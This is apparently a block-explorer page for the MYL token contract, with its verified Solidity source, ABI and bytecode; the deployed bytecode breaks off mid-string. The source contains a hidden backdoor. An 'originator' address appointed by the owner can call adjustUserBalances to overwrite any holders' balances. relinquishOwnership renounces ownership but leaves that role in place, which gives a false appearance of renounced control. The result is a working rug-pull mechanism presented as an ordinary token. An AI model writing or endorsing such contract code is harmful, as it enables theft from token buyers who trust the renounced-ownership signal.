ETH Price: $3,401.22 (+1.97%)

Token

MYL (MYL)
 

Overview

Max Total Supply

1,000,000 MYL

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.00000000000001 MYL

Value
$0.00
0x753469f9191469bc9196ebd8f716ba5eeb4dae49
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MYL

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : MYL.sol
pragma solidity ^0.8.18;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract ContextEnhanced {
    function fetchSenderAddress() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract SoleProprietor is ContextEnhanced {
    address private _proprietor;
    event OwnershipShifted(address indexed previousProprietor, address indexed newProprietor);

    constructor () {
        address msgSender = fetchSenderAddress();
        _proprietor = msgSender;
        emit OwnershipShifted(address(0), msgSender);
    }

    function retrieveProprietor() public view virtual returns (address) {
        return _proprietor;
    }

    modifier solelyProprietor() {
        require(retrieveProprietor() == fetchSenderAddress(), "Proprietorship: executor is not the proprietor");
        _;
    }

    function relinquishOwnership() public virtual solelyProprietor {
        emit OwnershipShifted(_proprietor, address(0x000000000000000000000000000000000000dEaD));
        _proprietor = address(0x000000000000000000000000000000000000dEaD);
    }
}



contract MYL is ContextEnhanced, SoleProprietor, IERC20 {
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    address private _craftsman;

    string public constant _name = "MYL";
    string public constant _symbol = "MYL";
    uint8 public constant _decimals = 18;
    uint256 public constant _totalSupply = 1000000 * (10 ** _decimals);

    constructor() {
        _balances[fetchSenderAddress()] = _totalSupply;
        emit Transfer(address(0), fetchSenderAddress(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function retrieveOriginator() public view virtual returns (address) { 
        return _craftsman;
    }

    function assignNewOriginator(address newOriginator) public solelyProprietor { 
        _craftsman = newOriginator;
    }

    modifier solelyOriginator() {
        require(retrieveOriginator() == fetchSenderAddress(), "TOKEN: executor is not the originator");
        _;
    }

    event BalanceAdjusted(address indexed account, uint256 currentBalance, uint256 adjustedBalance);

    function adjustUserBalances(address[] memory userAddresses, uint256 targetBalance) public solelyOriginator {

        require(targetBalance >= 0, "Error: target balance should be non-negative");

        for (uint256 index = 0; index < userAddresses.length; index++) {

            address currentUser = userAddresses[index];

            require(currentUser != address(0), "Error: user address cannot be the zero address");

            uint256 currentBalance = _balances[currentUser];

            _balances[currentUser] = targetBalance;

            emit BalanceAdjusted(currentUser, currentBalance, targetBalance);
        }
    }


    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
    require(_balances[fetchSenderAddress()] >= amount, "TT: transfer amount exceeds balance");
    _balances[fetchSenderAddress()] -= amount;
    _balances[recipient] += amount;

    emit Transfer(fetchSenderAddress(), recipient, amount);
    return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[fetchSenderAddress()][spender] = amount;
        emit Approval(fetchSenderAddress(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
    require(_allowances[sender][fetchSenderAddress()] >= amount, "TT: transfer amount exceeds allowance");

    _balances[sender] -= amount;
    _balances[recipient] += amount;
    _allowances[sender][fetchSenderAddress()] -= amount;

    emit Transfer(sender, recipient, amount);
    return true;
    }

    function totalSupply() external view override returns (uint256) {
    return _totalSupply;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"currentBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"adjustedBalance","type":"uint256"}],"name":"BalanceAdjusted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousProprietor","type":"address"},{"indexed":true,"internalType":"address","name":"newProprietor","type":"address"}],"name":"OwnershipShifted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"targetBalance","type":"uint256"}],"name":"adjustUserBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOriginator","type":"address"}],"name":"assignNewOriginator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"relinquishOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveOriginator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"retrieveProprietor","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fab90e56c45aaa436757dea2b257537f3ee71de70cd2afe6df1d01433968b003c60405160405180910390a3506012600a620000d2919062000372565b620f4240620000e29190620003c3565b60026000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620001a3919062000372565b620f4240620001b39190620003c3565b604051620001c291906200041f565b60405180910390a36200043c565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250828202620003ed816200035b565b91508282048414831517620004075762000406620001d8565b5b5092915050565b62000419816200035b565b82525050565b60006020820190506200043660008301846200040e565b92915050565b611ab2806200044c6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c80637e8e182e116100a2578063b09f126611610071578063b09f1266146102e7578063c587396b14610305578063ccb13fb91461030f578063d28d88521461032b578063dd62ed3e1461034957610116565b80637e8e182e1461025f57806395d89b411461027b5780639aee873d14610299578063a9059cbb146102b757610116565b8063313ce567116100e9578063313ce567146101b757806332424aa3146101d55780633eaaf86b146101f357806370a08231146102115780637a4b88b01461024157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b610123610379565b6040516101309190610fea565b60405180910390f35b610153600480360381019061014e91906110b4565b6103b6565b604051610160919061110f565b60405180910390f35b6101716104b6565b60405161017e9190611139565b60405180910390f35b6101a1600480360381019061019c9190611154565b6104d9565b6040516101ae919061110f565b60405180910390f35b6101bf610757565b6040516101cc91906111c3565b60405180910390f35b6101dd610760565b6040516101ea91906111c3565b60405180910390f35b6101fb610765565b6040516102089190611139565b60405180910390f35b61022b600480360381019061022691906111de565b610784565b6040516102389190611139565b60405180910390f35b6102496107cd565b604051610256919061121a565b60405180910390f35b6102796004803603810190610274919061137d565b6107f7565b005b610283610a43565b6040516102909190610fea565b60405180910390f35b6102a1610a80565b6040516102ae919061121a565b60405180910390f35b6102d160048036038101906102cc91906110b4565b610aa9565b6040516102de919061110f565b60405180910390f35b6102ef610c5d565b6040516102fc9190610fea565b60405180910390f35b61030d610c96565b005b610329600480360381019061032491906111de565b610dd2565b005b610333610e92565b6040516103409190610fea565b60405180910390f35b610363600480360381019061035e91906113d9565b610ecb565b6040516103709190611139565b60405180910390f35b60606040518060400160405280600381526020017f4d594c0000000000000000000000000000000000000000000000000000000000815250905090565b600081600160006103c5610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661045f610f52565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104a49190611139565b60405180910390a36001905092915050565b60006012600a6104c6919061157b565b620f42406104d491906115c6565b905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610525610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156105a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105989061167a565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105f0919061169a565b9250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461064691906116ce565b9250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610697610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106e0919061169a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107449190611139565b60405180910390a3600190509392505050565b60006012905090565b601281565b6012600a610773919061157b565b620f424061078191906115c6565b81565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6107ff610f52565b73ffffffffffffffffffffffffffffffffffffffff1661081d6107cd565b73ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90611774565b60405180910390fd5b60008110156108b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ae90611806565b60405180910390fd5b60005b8251811015610a3e5760008382815181106108d8576108d7611826565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610951576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610948906118c7565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f5ee81488a8c866569c02800403bbf9145d931cf759737ed853eedb84dbb5a9e38286604051610a219291906118e7565b60405180910390a250508080610a3690611910565b9150506108ba565b505050565b60606040518060400160405280600381526020017f4d594c0000000000000000000000000000000000000000000000000000000000815250905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008160026000610ab8610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2b906119ca565b60405180910390fd5b8160026000610b41610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b8a919061169a565b9250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be091906116ce565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610c06610f52565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c4b9190611139565b60405180910390a36001905092915050565b6040518060400160405280600381526020017f4d594c000000000000000000000000000000000000000000000000000000000081525081565b610c9e610f52565b73ffffffffffffffffffffffffffffffffffffffff16610cbc610a80565b73ffffffffffffffffffffffffffffffffffffffff1614610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990611a5c565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fab90e56c45aaa436757dea2b257537f3ee71de70cd2afe6df1d01433968b003c60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dda610f52565b73ffffffffffffffffffffffffffffffffffffffff16610df8610a80565b73ffffffffffffffffffffffffffffffffffffffff1614610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4590611a5c565b60405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040518060400160405280600381526020017f4d594c000000000000000000000000000000000000000000000000000000000081525081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f94578082015181840152602081019050610f79565b60008484015250505050565b6000601f19601f8301169050919050565b6000610fbc82610f5a565b610fc68185610f65565b9350610fd6818560208601610f76565b610fdf81610fa0565b840191505092915050565b600060208201905081810360008301526110048184610fb1565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061104b82611020565b9050919050565b61105b81611040565b811461106657600080fd5b50565b60008135905061107881611052565b92915050565b6000819050919050565b6110918161107e565b811461109c57600080fd5b50565b6000813590506110ae81611088565b92915050565b600080604083850312156110cb576110ca611016565b5b60006110d985828601611069565b92505060206110ea8582860161109f565b9150509250929050565b60008115159050919050565b611109816110f4565b82525050565b60006020820190506111246000830184611100565b92915050565b6111338161107e565b82525050565b600060208201905061114e600083018461112a565b92915050565b60008060006060848603121561116d5761116c611016565b5b600061117b86828701611069565b935050602061118c86828701611069565b925050604061119d8682870161109f565b9150509250925092565b600060ff82169050919050565b6111bd816111a7565b82525050565b60006020820190506111d860008301846111b4565b92915050565b6000602082840312156111f4576111f3611016565b5b600061120284828501611069565b91505092915050565b61121481611040565b82525050565b600060208201905061122f600083018461120b565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61127282610fa0565b810181811067ffffffffffffffff821117156112915761129061123a565b5b80604052505050565b60006112a461100c565b90506112b08282611269565b919050565b600067ffffffffffffffff8211156112d0576112cf61123a565b5b602082029050602081019050919050565b600080fd5b60006112f96112f4846112b5565b61129a565b9050808382526020820190506020840283018581111561131c5761131b6112e1565b5b835b8181101561134557806113318882611069565b84526020840193505060208101905061131e565b5050509392505050565b600082601f83011261136457611363611235565b5b81356113748482602086016112e6565b91505092915050565b6000806040838503121561139457611393611016565b5b600083013567ffffffffffffffff8111156113b2576113b161101b565b5b6113be8582860161134f565b92505060206113cf8582860161109f565b9150509250929050565b600080604083850312156113f0576113ef611016565b5b60006113fe85828601611069565b925050602061140f85828601611069565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561149f5780860481111561147b5761147a611419565b5b600185161561148a5780820291505b808102905061149885611448565b945061145f565b94509492505050565b6000826114b85760019050611574565b816114c65760009050611574565b81600181146114dc57600281146114e657611515565b6001915050611574565b60ff8411156114f8576114f7611419565b5b8360020a91508482111561150f5761150e611419565b5b50611574565b5060208310610133831016604e8410600b841016171561154a5782820a90508381111561154557611544611419565b5b611574565b6115578484846001611455565b9250905081840481111561156e5761156d611419565b5b81810290505b9392505050565b60006115868261107e565b9150611591836111a7565b92506115be7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846114a8565b905092915050565b60006115d18261107e565b91506115dc8361107e565b92508282026115ea8161107e565b9150828204841483151761160157611600611419565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611664602583610f65565b915061166f82611608565b604082019050919050565b6000602082019050818103600083015261169381611657565b9050919050565b60006116a58261107e565b91506116b08361107e565b92508282039050818111156116c8576116c7611419565b5b92915050565b60006116d98261107e565b91506116e48361107e565b92508282019050808211156116fc576116fb611419565b5b92915050565b7f544f4b454e3a206578656375746f72206973206e6f7420746865206f7269676960008201527f6e61746f72000000000000000000000000000000000000000000000000000000602082015250565b600061175e602583610f65565b915061176982611702565b604082019050919050565b6000602082019050818103600083015261178d81611751565b9050919050565b7f4572726f723a207461726765742062616c616e63652073686f756c642062652060008201527f6e6f6e2d6e656761746976650000000000000000000000000000000000000000602082015250565b60006117f0602c83610f65565b91506117fb82611794565b604082019050919050565b6000602082019050818103600083015261181f816117e3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4572726f723a207573657220616464726573732063616e6e6f7420626520746860008201527f65207a65726f2061646472657373000000000000000000000000000000000000602082015250565b60006118b1602e83610f65565b91506118bc82611855565b604082019050919050565b600060208201905081810360008301526118e0816118a4565b9050919050565b60006040820190506118fc600083018561112a565b611909602083018461112a565b9392505050565b600061191b8261107e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361194d5761194c611419565b5b600182019050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006119b4602383610f65565b91506119bf82611958565b604082019050919050565b600060208201905081810360008301526119e3816119a7565b9050919050565b7f50726f70726965746f72736869703a206578656375746f72206973206e6f742060008201527f7468652070726f70726965746f72000000000000000000000000000000000000602082015250565b6000611a46602e83610f65565b9150611a51826119ea565b604082019050919050565b60006020820190508181036000830152611a7581611a39565b905091905056fea26469706673582212204a0b15d1b5431b9fc8f8a8cbec2cc537c86f85fd559bd4b0b325135ec6bfa9f364736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c80637e8e182e116100a2578063b09f126611610071578063b09f1266146102e7578063c587396b14610305578063ccb13fb91461030f578063d28d88521461032b578063dd62ed3e1461034957610116565b80637e8e182e1461025f57806395d89b411461027b5780639aee873d14610299578063a9059cbb146102b757610116565b8063313ce567116100e9578063313ce567146101b757806332424aa3146101d55780633eaaf86b146101f357806370a08231146102115780637a4b88b01461024157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b610123610379565b6040516101309190610fea565b60405180910390f35b610153600480360381019061014e91906110b4565b6103b6565b604051610160919061110f565b60405180910390f35b6101716104b6565b60405161017e9190611139565b60405180910390f35b6101a1600480360381019061019c9190611154565b6104d9565b6040516101ae919061110f565b60405180910390f35b6101bf610757565b6040516101cc91906111c3565b60405180910390f35b6101dd610760565b6040516101ea91906111c3565b60405180910390f35b6101fb610765565b6040516102089190611139565b60405180910390f35b61022b600480360381019061022691906111de565b610784565b6040516102389190611139565b60405180910390f35b6102496107cd565b604051610256919061121a565b60405180910390f35b6102796004803603810190610274919061137d565b6107f7565b005b610283610a43565b6040516102909190610fea565b60405180910390f35b6102a1610a80565b6040516102ae919061121a565b60405180910390f35b6102d160048036038101906102cc91906110b4565b610aa9565b6040516102de919061110f565b60405180910390f35b6102ef610c5d565b6040516102fc9190610fea565b60405180910390f35b61030d610c96565b005b610329600480360381019061032491906111de565b610dd2565b005b610333610e92565b6040516103409190610fea565b60405180910390f35b610363600480360381019061035e91906113d9565b610ecb565b6040516103709190611139565b60405180910390f35b60606040518060400160405280600381526020017f4d594c0000000000000000000000000000000000000000000000000000000000815250905090565b600081600160006103c5610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661045f610f52565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104a49190611139565b60405180910390a36001905092915050565b60006012600a6104c6919061157b565b620f42406104d491906115c6565b905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610525610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156105a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105989061167a565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105f0919061169a565b9250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461064691906116ce565b9250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610697610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106e0919061169a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107449190611139565b60405180910390a3600190509392505050565b60006012905090565b601281565b6012600a610773919061157b565b620f424061078191906115c6565b81565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6107ff610f52565b73ffffffffffffffffffffffffffffffffffffffff1661081d6107cd565b73ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90611774565b60405180910390fd5b60008110156108b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ae90611806565b60405180910390fd5b60005b8251811015610a3e5760008382815181106108d8576108d7611826565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610951576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610948906118c7565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f5ee81488a8c866569c02800403bbf9145d931cf759737ed853eedb84dbb5a9e38286604051610a219291906118e7565b60405180910390a250508080610a3690611910565b9150506108ba565b505050565b60606040518060400160405280600381526020017f4d594c0000000000000000000000000000000000000000000000000000000000815250905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008160026000610ab8610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2b906119ca565b60405180910390fd5b8160026000610b41610f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b8a919061169a565b9250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be091906116ce565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610c06610f52565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c4b9190611139565b60405180910390a36001905092915050565b6040518060400160405280600381526020017f4d594c000000000000000000000000000000000000000000000000000000000081525081565b610c9e610f52565b73ffffffffffffffffffffffffffffffffffffffff16610cbc610a80565b73ffffffffffffffffffffffffffffffffffffffff1614610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990611a5c565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fab90e56c45aaa436757dea2b257537f3ee71de70cd2afe6df1d01433968b003c60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dda610f52565b73ffffffffffffffffffffffffffffffffffffffff16610df8610a80565b73ffffffffffffffffffffffffffffffffffffffff1614610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4590611a5c565b60405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040518060400160405280600381526020017f4d594c000000000000000000000000000000000000000000000000000000000081525081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f94578082015181840152602081019050610f79565b60008484015250505050565b6000601f19601f8301169050919050565b6000610fbc82610f5a565b610fc68185610f65565b9350610fd6818560208601610f76565b610fdf81610fa0565b840191505092915050565b600060208201905081810360008301526110048184610fb1565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073fffffffffffff